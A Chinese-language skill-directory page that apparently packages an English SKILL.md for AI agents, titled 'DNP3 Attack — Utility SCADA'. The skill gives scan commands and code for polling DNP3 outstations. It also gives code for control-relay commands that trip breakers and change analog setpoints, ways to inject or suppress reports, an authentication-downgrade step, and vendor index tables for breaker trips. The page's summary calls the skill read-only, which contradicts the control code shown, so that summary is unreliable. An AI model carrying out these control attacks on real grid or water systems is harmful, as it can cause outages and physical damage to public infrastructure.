跳到正文
Skillpedia
安全6.5k · #14036

ics-dnp3

它能做什么

这份指南涵盖 DNP3 的安全检查。DNP3 是电力和水务公用事业中常见的协议。适合获得书面批准的公用事业安全团队,因为控制指令可能影响电网。

适用场景

  • ✓当授权的公用事业审查需要找出网络中的 DNP3 外站时。
  • ✓当你想在不发送任何控制指令的情况下读取设备状态时。
  • ✓当公用事业公司计划如何保护其远程终端单元时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们是一家区域性公用事业公司。请帮我规划一次只读检查,检查我们的 DNP3 设备且不发送任何控制指令?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体找到 DNP3 设备,读取其状态和事件数据,并记录哪些内容暴露在外,全程不发送控制指令。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

DNP3 Attack — Utility SCADA

DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.

Discover

# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24

# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'

Read attacks (passive — generally safe)

# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.

Control attacks (potentially HIGH IMPACT)

Control Relay Output Block (CROB) — trip / close a breaker

# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5)   # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.

This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.

Analog Output Block (AOB) — setpoint

aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.

Unsolicited reporting abuse

DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:

  • Inject fake unsolicited reports (false alarms) — operator response cascade
  • Suppress real reports — operator blind during a real fault
  • Reply with stale data via timestamp tampering (Group 50 Var 1)

DNP3 Secure Authentication (DNP3-SA) downgrade

DNP3-SA adds HMAC-based message authentication. Many implementations support both authenticated and unauthenticated modes for backward compatibility:

# Send unauthenticated control with a "session key change" request
# If outstation accepts ANY pre-shared key, the implementation is broken.
# Check via opendnp3.SecureAuthentication examples.

Many older RTUs don't support DNP3-SA at all — full unauthenticated control plane.

Tooling

# dnp3-toolkit (pen-test focused)
pip install dnp3-toolkit
dnp3-scan 10.0.0.0/24
dnp3-info 10.0.0.50

# Free Modbus / DNP3 simulator (for testing PoCs offline before live engagement)
opendnp3 examples — github.com/dnp3/opendnp3

OPSEC + safety

  • Critical safety: DNP3 controls the bulk electric power system (in North America). Trip operations cause real outages. SelectAndOperate on a transmission breaker can blackout neighborhoods. Require written scope authorization for any control-class action.
  • ICS-CERT and EISAC actively monitor for unusual DNP3 traffic. Master-station IP changes are detected.
  • DNP3 over modem (serial) is common in older substations — your network position must be at the SCADA master, not internet.

Reference indices for common deployments

Vendor RTU Common control indices
GE D20 Breaker trip = 0-9, recloser = 10-19
SEL-2440 Per-feeder breaker = 16-23
Schweitzer RTAC Indices vary heavily by configuration

Always confirm point map (POINT.CSV or DNP3 device profile) before any write.

References

  • IEEE 1815 (DNP3 standard) and "DNP3 Application Layer" specification
  • "Hacking the Electric Grid" — Daniel Crowley (Trustwave / X-Force Red)
  • DEFCON 27 ICS Village "DNP3 Authentication Bypass"
  • NERC CIP-007/CIP-005 (defender baseline — useful to understand what's audited)
常见问题

为什么控制指令有风险?

该指南指出,控制指令可能改变实体设备,因此必须获得明确的书面批准。

只读测试能显示什么?

它能显示设备当前的数据点和事件,有助于评估暴露程度。

哪些行业使用 DNP3?

根据该指南,包括电力公司以及水和污水处理系统。

详情

作者的原始描述

DNP3 attack — TCP/20000 (or 19999 serial-over-TCP) outstation enumeration, binary input / analog input poll, control relay output block (CROB) actuation, unsolicited reporting abuse, DNP3 Secure Authentication (DNP3-SA) downgrade, vendor-specific objects.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14036
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能